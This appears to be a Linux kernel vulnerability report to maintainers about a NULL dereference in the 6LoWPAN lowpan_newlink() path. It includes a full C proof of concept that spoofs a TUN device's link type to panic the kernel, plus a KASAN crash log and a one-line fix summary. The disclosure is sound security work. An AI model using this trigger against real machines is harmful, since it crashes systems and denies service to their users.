Hi Linux kernel maintainers.
We found and validated an issue in net/ieee802154/6lowpan/core.c. The bug is
reachable by a CAP_NET_ADMIN process, including one in a user and network
namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
lowpan_newlink() looks up the device named by IFLA_LINK and checks only
that its link-layer type is ARPHRD_IEEE802154 before dereferencing
wdev->ieee802154_ptr->lowpan_dev. TUNSETLINK allows a down TUN device to
change its type to ARPHRD_IEEE802154 without initializing
ieee802154_ptr, leaving the pointer NULL.
A userspace RTM_NEWLINK request can then select the spoofed TUN device as
the lower device for a new lowpan link and reach the NULL dereference.
The fix rejects devices whose type is wrong or whose ieee802154_ptr is not
initialized, while preserving the existing reference cleanup path.
Reproducer:
gcc -O2 -Wall -Wextra -o poc poc.c
./poc
The same PoC was also reproduced in a user and network namespace with:
make
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_tun.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static size_t nla_put(char *buf, size_t offset, uint16_t type,
const void *payload, uint16_t payload_len)
{
struct nlattr *nla = (struct nlattr *)(buf + offset);
size_t len = NLA_HDRLEN + payload_len;
size_t padded = NLA_ALIGN(len);
nla->nla_type = type;
nla->nla_len = len;
memcpy(buf + offset + NLA_HDRLEN, payload, payload_len);
if (padded > len)
memset(buf + offset + len, 0, padded - len);
return offset + padded;
}
int main(void)
{
static const unsigned int nl_flags =
NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
static const char lowpan_name[] = "lowpan0";
static const char lowpan_kind[] = "lowpan";
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifm;
char attrs[256];
} req;
struct ifreq ifr = { .ifr_flags = IFF_TUN | IFF_NO_PI };
char linkinfo[64];
size_t linkinfo_len;
size_t attr_len = 0;
int tun_fd;
int nl_fd;
int if_fd;
int ifindex;
ssize_t sent;
memcpy(ifr.ifr_name, "tun0", sizeof("tun0"));
tun_fd = open("/dev/net/tun", O_RDWR);
if (tun_fd < 0)
die("open(/dev/net/tun)");
if (ioctl(tun_fd, TUNSETIFF, &ifr) < 0)
die("ioctl(TUNSETIFF)");
if (ioctl(tun_fd, TUNSETLINK, ARPHRD_IEEE802154) < 0)
die("ioctl(TUNSETLINK)");
if_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (if_fd < 0)
die("socket(AF_INET)");
if (ioctl(if_fd, SIOCGIFINDEX, &ifr) < 0)
die("ioctl(SIOCGIFINDEX)");
ifindex = ifr.ifr_ifindex;
close(if_fd);
printf("created %s ifindex=%d\n", ifr.ifr_name, ifindex);
fflush(stdout);
linkinfo_len = 0;
linkinfo_len = nla_put(linkinfo, linkinfo_len, IFLA_INFO_KIND,
lowpan_kind, sizeof(lowpan_kind));
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_type = RTM_NEWLINK;
req.nlh.nlmsg_flags = nl_flags;
req.nlh.nlmsg_seq = 1;
req.ifm.ifi_family = AF_UNSPEC;
attr_len = nla_put(req.attrs, attr_len, IFLA_IFNAME,
lowpan_name, sizeof(lowpan_name));
attr_len = nla_put(req.attrs, attr_len, IFLA_LINK,
&ifindex, sizeof(ifindex));
attr_len = nla_put(req.attrs, attr_len, IFLA_LINKINFO,
linkinfo, linkinfo_len);
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifm) + attr_len);
nl_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (nl_fd < 0)
die("socket(AF_NETLINK)");
sent = send(nl_fd, &req, req.nlh.nlmsg_len, 0);
if (sent < 0)
die("send(RTM_NEWLINK lowpan)");
printf("sent RTM_NEWLINK for kind=%s via %s\n", lowpan_kind,
ifr.ifr_name);
fflush(stdout);
/*
* A healthy kernel would ACK or reject the request here. The vulnerable
* kernel crashes in lowpan_newlink() before the reply is received.
*/
if (recv(nl_fd, req.attrs, sizeof(req.attrs), 0) < 0)
die("recv(netlink ack)");
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 336.883661][T10638] Oops: general protection fault, probably for
non-canonical address 0xdffffc0000000006: 0000 [#1] PREEMPT SMP KASAN NOPTI
[ 336.884799][T10638] KASAN: null-ptr-deref in range
[0x0000000000000030-0x0000000000000037]
[ 336.885367][T10638] CPU: 1 UID: 1028 PID: 10638 Comm: poc Not tainted
6.12.95 #2
[ 336.885860][T10638] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX,
arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 336.887061][T10638] RIP: 0010:lowpan_newlink+0x13b/0x520
[ 336.887454][T10638] Code: c1 ea 03 80 3c 02 00 0f 85 b4 03 00 00 4c 8b a3 60
04 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 30 48 89 fa 48 c1 ea 03 <80>
3c 02 00 0f 85 83 03 00 00 49 83 7c 24 30 00 0f 85 c6 02 00 00
[ 336.888761][T10638] RSP: 0018:ffffc90013eaf698 EFLAGS: 00010216
[ 336.889207][T10638] RAX: dffffc0000000000 RBX: ffff888111060000 RCX:
ffffc90013eaf600
[ 336.889728][T10638] RDX: 0000000000000006 RSI: ffffffff8a8c49a0 RDI:
0000000000000030
[ 336.890249][T10638] RBP: ffff888060a31000 R08: 0000000000000000 R09:
fffffbfff209d259
[ 336.890764][T10638] R10: ffffffff904e92cf R11: 0000000000000001 R12:
0000000000000000
[ 336.891278][T10638] R13: ffff888111060460 R14: 0000000000000000 R15:
ffffffff9050aae0
[ 336.891803][T10638] FS: 00007f0568e9e740(0000) GS:ffff888118a80000(0000)
knlGS:0000000000000000
[ 336.892381][T10638] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 336.892805][T10638] CR2: 000055c1861f42a8 CR3: 00000000211ac000 CR4:
0000000000750ef0
[ 336.893315][T10638] PKRU: 55555554
[ 336.893550][T10638] Call Trace:
[ 336.893772][T10638] <TASK>
[ 336.893970][T10638] __rtnl_newlink+0xde5/0x14f0
[ 336.894317][T10638] ? __pfx___rtnl_newlink+0x10/0x10
[ 336.894667][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.895040][T10638] rtnl_newlink+0x62/0x90
[ 336.895330][T10638] rtnetlink_rcv_msg+0x2f0/0xaf0
[ 336.895656][T10638] ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[ 336.896008][T10638] ? __pfx___lock_acquire+0x10/0x10
[ 336.896356][T10638] ? find_held_lock+0x2d/0x110
[ 336.896678][T10638] netlink_rcv_skb+0x136/0x370
[ 336.896988][T10638] ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[ 336.897351][T10638] ? __pfx_netlink_rcv_skb+0x10/0x10
[ 336.897697][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.898072][T10638] ? netlink_deliver_tap+0xcb/0xa80
[ 336.898413][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.898773][T10638] ? netlink_deliver_tap+0x14b/0xa80
[ 336.899122][T10638] netlink_unicast+0x479/0x790
[ 336.899462][T10638] ? __pfx_netlink_unicast+0x10/0x10
[ 336.899803][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.900178][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.900539][T10638] ? __check_object_size+0x2eb/0x4f0
[ 336.900887][T10638] ? netlink_autobind.isra.0+0x183/0x260
[ 336.901276][T10638] netlink_sendmsg+0x76e/0xc10
[ 336.901589][T10638] ? __pfx_netlink_sendmsg+0x10/0x10
[ 336.901931][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.902314][T10638] ? apparmor_socket_sendmsg+0x2e/0x200
[ 336.902705][T10638] __sys_sendto+0x349/0x3a0
[ 336.903017][T10638] ? __pfx___sys_sendto+0x10/0x10
[ 336.903366][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.903783][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.904163][T10638] ? __pfx___sys_socket+0x10/0x10
[ 336.904511][T10638] ? __pfx_ksys_write+0x10/0x10
[ 336.904837][T10638] __x64_sys_sendto+0xe0/0x1c0
[ 336.905201][T10638] ? do_syscall_64+0x93/0x270
[ 336.905534][T10638] ? srso_alias_return_thunk+0x5/0xfbef5
[ 336.905902][T10638] ? lockdep_hardirqs_on+0x7b/0x110
[ 336.906574][T10638] do_syscall_64+0xc7/0x270
[ 336.906873][T10638] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 336.907258][T10638] RIP: 0033:0x7f0568f30687
[ 336.907565][T10638] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00
59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b>
c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[ 336.908807][T10638] RSP: 002b:00007ffdb8bb92f0 EFLAGS: 00000202 ORIG_RAX:
000000000000002c
[ 336.909340][T10638] RAX: ffffffffffffffda RBX: 00007f0568e9e740 RCX:
00007f0568f30687
[ 336.909849][T10638] RDX: 0000000000000044 RSI: 00007ffdb8bb93c0 RDI:
0000000000000004
[ 336.910367][T10638] RBP: 00007ffdb8bb9350 R08: 0000000000000000 R09:
0000000000000000
[ 336.910877][T10638] R10: 0000000000000000 R11: 0000000000000202 R12:
00007ffdb8bb93e0
[ 336.911421][T10638] R13: 00007ffdb8bb93c0 R14: 000055c14dd6f0f0 R15:
00007ffdb8bb9380
[ 336.911931][T10638] </TASK>
[ 336.912149][T10638] Modules linked in:
[ 336.912658][T10638] ---[ end trace 0000000000000000 ]---
[ 336.913015][T10638] RIP: 0010:lowpan_newlink+0x13b/0x520
[ 336.913400][T10638] Code: c1 ea 03 80 3c 02 00 0f 85 b4 03 00 00 4c 8b a3 60
04 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 30 48 89 fa 48 c1 ea 03 <80>
3c 02 00 0f 85 83 03 00 00 49 83 7c 24 30 00 0f 85 c6 02 00 00
[ 336.914639][T10638] RSP: 0018:ffffc90013eaf698 EFLAGS: 00010216
[ 336.915091][T10638] RAX: dffffc0000000000 RBX: ffff888111060000 RCX:
ffffc90013eaf600
[ 336.915799][T10638] RDX: 0000000000000006 RSI: ffffffff8a8c49a0 RDI:
0000000000000030
[ 336.916430][T10638] RBP: ffff888060a31000 R08: 0000000000000000 R09:
fffffbfff209d259
[ 336.917131][T10638] R10: ffffffff904e92cf R11: 0000000000000001 R12:
0000000000000000
[ 336.917720][T10638] R13: ffff888111060460 R14: 0000000000000000 R15:
ffffffff9050aae0
[ 336.918392][T10638] FS: 00007f0568e9e740(0000) GS:ffff888118a80000(0000)
knlGS:0000000000000000
[ 336.919106][T10638] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 336.919633][T10638] CR2: 000055c1861f42a8 CR3: 00000000211ac000 CR4:
0000000000750ef0
[ 336.920242][T10638] PKRU: 55555554
[ 336.920609][T10638] Kernel panic - not syncing: Fatal exception
[ 336.921379][T10638] Kernel Offset: disabled
[ 336.921677][T10638] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ieee802154: 6lowpan: fix NULL dereference in lowpan_newlink
net/ieee802154/6lowpan/core.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--
2.43.0